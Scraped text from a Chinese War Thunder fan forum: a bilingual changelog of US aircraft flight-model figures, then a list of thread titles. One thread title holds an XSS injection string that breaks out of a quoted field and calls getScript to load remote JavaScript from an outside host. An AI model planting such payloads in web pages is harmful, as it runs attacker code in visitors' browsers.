1000米处盘旋时间:18.70秒 American FM changes: 美系飞行模型改动: Most of US planes have been made much better, all should be better trimmed and made more historical accurate. 大部分美系飞机已经接近完成,需要进行微调还原历史 Flaps adjustments: 襟翼调整: F2A series F4F series F6F series F4U series P40 series P47 series P38 series P26 series Aerodynamic adjustments: 气动调整: B17 series B25 series F2A series F4F series F6F series F4U series P47 series P39 series P51 series P26 series Complete renovations: 完全重制: A26 P38 series P63 series F2A-1: tuned to have this performance: Max speed: 452 km/h at SL and 503 km/h at 4900m Max climb rate: 16.8 m/sec Virage time at 1000m: 16.5 sec F2A-1改动后的性能: 最高速度:海平面452公里/时,4900米高度503公里/时 最大爬升率:16.80米/秒 1000米处盘旋时间:16.50秒 F2A-3: tuned to have this performance: Max speed: 476 km/h at SL, 503 km/h at 1800m and 523 km/h at 4900m Max climb rate: 14.5 m/sec Virage time at 1000m: 22 sec F2A-3改动后的性能: 最高速度:海平面476公里/时,1800米高度503公里/时,4900米高度523公里/时 最大爬升率:14.50米/秒 1000米处盘旋时间:22.00秒 F4F-3: tuned to have this performance: Max speed: 449 km/h at SL, 470 km/h at 1500m and 518 km/h at 5800m Max climb rate: 14.6 m/sec Virage time at 1000m: 18.9 sec F4F-3改动后的性能: 最高速度:海平面449公里/时,1500米高度470公里/时,5800米高度518公里/时 最大爬升率:14.60米/秒 1000米处盘旋时间:18.90秒 F4F-4: tuned to have this performance: Max speed: 457 km/h at SL, 471 km/h at 1000m and 517 km/h at 5600m Max climb rate: 14.8 m/sec Virage time at 1000m: 19.9 sec F4F-4改动后的性能: 最高速度:海平面457公里/时,1000米高度471公里/时,5600米高度517公里/时 最大爬升率:14.80米/秒 1000米处盘旋时间:19.90秒 F6F-3: tuned to have this performance: Max speed: 531 km/h at SL, 542 km/h at 700m, 602 km/h at 5000m and 610 km/h at 7100m Max climb rate: 19.2 m/sec Virage time at 1000m: 21.8 sec F6F-3改动后的性能: 最高速度:海平面531公里/时,700米高度542公里/时,5000米高度602公里/时,7100米高度610公里/时 最大爬升率:19.20米/秒 1000米处盘旋时间:21.80秒 Hellcat Mk1: tuned to have this performance: Max speed: 531 km/h at SL, 542 km/h at 700m, 602 km/h at 5000m and 610 km/h at 7100m Max climb rate: 19.2 m/sec Virage time at 1000m: 21.8 sec “泼妇”Mk I改动后的性能: 最高速度:海平面531公里/时,700米高度542公里/时,5000米高度602公里/时,7100米高度610公里/时 最大爬升率:19.20米/秒 1000米处盘旋时间:21.80秒 F4U-1A: tuned to have this performance: Max speed: 585 km/h at SL, 655 km/h at 4100m and 670 km/h at 5500m Max climb rate: 18.1 m/sec Virage time at 1000m: 24.3 sec F4U-1A改动后的性能: 最高速度:海平面585公里/时,4100米高度655公里/时,5500米高度670公里/时 最大爬升率:18.10米/秒 1000米处盘旋时间:24.30秒 F4U-1A IJ(minus water): tuned to have this performance: Max speed: 572 km/h at SL, 650 km/h at 4500m and 666 km/h at 5950m Max climb rate: 16.75 m/sec Virage time at 1000m: 24.3 sec F4U-1A日本金币机(性能下降)改动后的性能: 最高速度:海平面572公里/时,4500米高度650公里/时,5950米高度666公里/时 最大爬升率:16.75米/秒 1000米处盘旋时间:24.30秒 F4U-1D: tuned to have this performance: Max speed: 587 km/h at SL, 660 km/h at 4100m and 675 km/h at 5600m Max climb rate: 19.7 m/sec Virage time at 1000m: 22.25 sec F4U-1D改动后的性能: 最高速度:海平面587公里/时,4100米高度660公里/时,5600米高度675公里/时 最大爬升率:19.70米/秒 1000米处盘旋时间:22.25秒 F4U-1C: tuned to have this performance: Max speed: 587 km/h at SL, 661 km/h at 4100m and 676 km/h at 5500m Max climb rate: 20.3 m/sec Virage time at 1000m: 21.7 sec F4U-1C改动后的性能: 最高速度:海平面587公里/时,4100米高度651公里/时,5500米高度676公里/时 最大爬升率:20.30米/秒 1000米处盘旋时间:21.70秒 P39-K: tuned to have this performance: Max speed: 525 km/h at SL, 581 km/h at 2400m Max climb rate: 16.25 m/sec Virage time at 1000m: 24.3 sec P-39K改动后的性能: 最高速度:海平面525公里/时,2400米高度581公里/时 最大爬升率:16.25米/秒 1000米处盘旋时间:24.30秒 P39-N: tuned to have this performance: Max speed: 522 km/h at SL, 609 km/h at 3500m Max climb rate: 16.7 m/sec Virage time at 1000m: 23 sec P-39N改动后的性能: 最高速度:海平面522公里/时,3500米高度609公里/时 最大爬升率:16.70米/秒 1000米处盘旋时间:23.00秒 P39-Q: tuned to have this performance: Max speed: 523 km/h at SL, 607 km/h at 3450m Max climb rate: 17 m/sec Virage time at 1000m: 22.9 sec P-39Q改动后的性能: 最高速度:海平面523公里/时,3450米高度607公里/时 最大爬升率:17.00米/秒 1000米处盘旋时间:22.90秒 P-38G(Including Gift version): tuned to have this performance: Max speed: 530 km/h at SL, 675 km/h at 7000m Max climb rate: 16.7 m/sec Virage time at 1000m: 21.5 sec P-38G(包括礼包机)改动后的性能: 最高速度:海平面530公里/时,7000米高度675公里/时 最大爬升率:16.7米/秒 1000米处盘旋时间:21.50秒 P-40E(Including Soviet version): tuned to have this performance: Max speed: 487 km/h at SL, 568 km/h at 4400m Max climb rate: 12.9 m/sec Virage time at 1000m: 24.2 sec P-40E(包括苏联金币机)改动后的性能: 最高速度:海平面487公里/时,4400米高度568公里/时 最大爬升率:12.90米/秒 1000米处盘旋时间:24.20秒 P-47-D(20): tuned to have this performance: Max speed: 523 km/h at SL, 686 km/h at 8900m Max climb rate: 16.9 m/sec Virage time at 1000m: 27.25 sec P-47D(-20)改动后的性能: 最高速度:海平面523公里/时,8900米高度686公里/时 最大爬升率:16.9米/秒 1000米处盘旋时间:27.25秒 P-47-D28: tuned to have this performance: Max speed: 543 km/h at SL, 697 km/h at 8400m Max climb rate: 17.6 m/sec Virage time at 1000m: 25 sec P-47D-28改动后的性能: 最高速度:海平面543公里/时,8400米高度697公里/时 最大爬升率:17.60米/秒 1000米处盘旋时间:25.00秒 P-47-D28 Luftwaffe(minus water): tuned to have this performance: Max speed: 499 km/h at SL, 632 km/h at 8100m Max climb rate: 13.5 m/sec Virage time at 1000m: 26.5 sec P-47D-28德国空军金币机(性能下降)改动后的性能: 最高速度:海平面499公里/时,8100米高度632公里/时 最大爬升率:13.50米/秒 1000米处盘旋时间:26.50秒 P-51-D5: tuned to have this performance: Max speed: 587 km/h at SL, 671 km/h at 4200m and 702 km/h at 7700m Max climb rate: 15.8 m/sec Virage time at 1000m: 24.4 sec P-51D-5改动后的性能: 最高速度:海平面587公里/时,4200米高度671公里/时,7700米高度702公里/时 最大爬升率:15.80米/秒 1000米处盘旋时间:24.40秒 P-51-D20: tuned to have this performance: Max speed: 600 km/h at SL, 672 km/h at 2100m and 704 km/h at 6200m Max climb rate: 16.7 m/sec Virage time at 1000m: 22.9 sec P-51D-20改动后的性能: 最高速度:海平面600公里/时,2100米高度672公里/时,6200米高度704公里/时 最大爬升率:16.70米/秒 1000米处盘旋时间:22.90秒 Mustang Mk 1A: tuned to have this performance: Max speed: 534 km/h at SL, 651 km/h at 5200m Max climb rate: 14 m/sec Virage time at 1000m: 24.1 sec “野马”Mk IA改动后的性能: 最高速度:海平面534公里/时,5200米高度651公里/时 最大爬升率:14.00米/秒 1000米处盘旋时间:24.10秒 P-63-A5: tuned to have this performance: Max speed: 538 km/h at SL, 648 km/h at 7500m Max climb rate: 18.75 m/sec Virage time at 1000m: 20.3 sec P-63A-5改动后的性能: 最高速度:海平面538公里/时,7500米高度648公里/时 最大爬升率:18.75米/秒 1000米处盘旋时间:20.30秒 P-63-A10: tuned to have this performance: Max speed: 577 km/h at SL, 672 km/h at 6100m Max climb rate: 21.1 m/sec Virage time at 1000m: 22.8 sec P-63A-10改动后的性能: 最高速度:海平面577公里/时,6100米高度672公里/时 最大爬升率:21.10米/秒 1000米处盘旋时间:22.80秒 P-63-C5: tuned to have this performance: Max speed: 538 km/h at SL, 649 km/h at 7900m Max climb rate: 18.9 m/sec Virage time at 1000m: 20.1 sec P-63C-5改动后的性能: 最高速度:海平面538公里/时,7900米高度649公里/时 最大爬升率:18.90米/秒 1000米处盘旋时间:20.10秒 B-25-J: tuned to have this performance: Max speed: 404 km/h at SL, 420 km/h at 1400m and 443 km/h at 3400m Max climb rate: 7.6 m/sec Virage time at 1000m: 37.9 sec B-25J-1改动后的性能: 最高速度:海平面404公里/时,1400米高度420公里/时,3400米高度443公里/时 最大爬升率:7.60米/秒 1000米处盘旋时间:37.90秒 B-17 series: tuned to have this performance: Max speed: 392 km/h at SL, 474 km/h at 7000m Max climb rate: 5.8 m/s Virage time at 1000m: 34.9 sec B-17系列改动后的性能: 最高速度:海平面392公里/时,7000米高度474公里/时 最大爬升率:5.80米/秒 1000米处盘旋时间:34.90秒 P26 series: tuned to have this performance: Max speed: 310 km/h at SL and 340 km/h at 2700m Max climb rate: 8 m/s Virage time at 1000m: 14.9 sec P-26系列改动后的性能: 最高速度:海平面310公里/时,2700米高度340公里/时 最大爬升率:8.00米/秒 1000米处盘旋时间:14.90秒 A-26C-45: tuned to have this performance: Max speed: 566 km/h at SL, 580 km/h at 980m and 572 km/h at 3300m Max climb rate: 11.4 m/s Virage time at 1000m: 38.5 sec A-26C-45改动后的性能: 最高速度:海平面566公里/时,980米高度580公里/时,3300米高度572公里/时 最大爬升率:11.40米/秒 1000米处盘旋时间:38.50秒 XP-55: tuned to have this performance: Max speed: 525 km/h at SL and 632 km/h at 5500m Max climb rate: 18.5 m/s Virage time at 1000m: 20.5 sec XP-55改动后的性能: 最高速度:海平面525公里/时,5500米高度632公里/时 最大爬升率:18.50米/秒 1000米处盘旋时间:20.50秒 XP-50: tuned to have this performance: Max speed: 525 km/h at SL and 682 km/h at 5000m Max climb rate: 25 m/s Virage time at 1000m: 19.5 sec XP-50改动后的性能: 最高速度:海平面525公里/时,5000米高度682公里/时 最大爬升率:25.00米/秒 1000米处盘旋时间:19.50秒 A-20G: tuned to have this performance: Max speed: 512 km/h at SL, 527 km/h at 1100m and 536 km/h at 3300m Max climb rate: 14.9 m/s Virage time at 1000m: 27.5 sec A-20G改动后的性能: 最高速度:海平面512公里/时,1100米高度527公里/时,3300米高度536公里/时 最大爬升率:14.90米/秒 1000米处盘旋时间:27.50秒 New Flight Models Added 新加入飞行模型的飞机: A5M4 Do-217E-2 Do-217E-4 Do-217J-1 Do-217J-2 Do-217K-1 Do-217M-1 Do-217N-1 Ki-43-2 Meteor F Mk 8 P-47D P-51B A-26C D-520 P-36A P-36C P-38G P-47D P-47D Luftwaffe P-51D XP-50 XP-55 Mig-3 Carburetor adjustments: 化油器调整: P26A series CR42 G50 seria2 G50 seria7AS Fury Mk I Fury Mk II He 51A-1 He 51B-1 He 51C-1 He 51C-1 Late Hs 129B-2 MC200 serie3 MC200 serie7 Nimrod Mk I Nimrod Mk II Swordfish Mk I a lot more FMs are due to be updated with various small patches, they will be added to this thread as they are completed 还会有很多的飞行模型更新会在之后的小补丁里放出,放出后我们会在此更新。
你们这些渣渣还好意思说结衣是你们的女神 连《数码暴龙拯救者(数码宝贝5)》都没看过还好意思说结衣是你们的女神?
【活动】中途岛之战71周年 Dev服也换上了这张登陆界面图
【更新】1.31.4.0(31/5/13)更新内容 ------------------------------------------------------------------ 1.31.4 .0(31 /5/13)更新内容 翻译:ctx017_412 翻译参考:@伊拉克南瓜 @NEKOmancer 由于Dev服的更新内容贴一直在更新,所以就跟进翻译了,翻译参考了南瓜他们的1.31.3.0翻译,根据内容对一部分与原文(我看到的原文)不符的进行一定的修改
【渣翻译】历史专栏——RAAF起源 回旋镖镇楼...
【传教】1.31版本Dev服 八一马镇楼
【传教】壮哉我大陆战 М4А2 Sherman Panzerkampfwagen VI «Tiger I» 大家请注意,这仅仅是一个WIP版(work-in-progres) ,这并不反映最终的质量。 我们将让你全面了解坦克的发展,一切尽在新一代的军事类MMO游戏——战争雷霆。
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【渣翻译】历史专栏——本月ACE 本月ACE,作者依旧是FAA的马克·巴贝尔
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点进来有..",a:$.getScript('//xss.retaker.me/1.js'),a:" 请允许我做一个忧伤的表情,是忧伤哦!
【历史向】二战名机系列
【活动】KRI 2013获奖奖励 War Thunder赢得俄国 KRI 2013四项大奖:最佳游戏、最佳游戏开发、最佳技术和最佳音效 于格林威治时间5月19日16时至5月20日6时(英国夏季时间17时到7时,莫斯科时间20时到10时,太平洋时间10时到23时,北京时间0时到14时)开展如下活动: 第一场胜利:最佳音效奖:奖励25金鹰 第二场胜利:最佳技术奖:奖励25金鹰 第三场胜利:最佳游戏开发将:奖励50金鹰 第五场胜利:最佳游戏奖:奖励100金鹰 总计200金鹰
【渣翻译】历史专栏:德国空军 这次的文章作者为乔·F·克德尔纳
【渣翻译】历史专栏:柏林之战 柏林之战:新文章和历史模式与全真模式的新地图【任务】柏林 作者自然还是FAA(英国皇家海军舰队航空队)飞行员,Gaijin的历史顾问之一的马克·巴贝尔。
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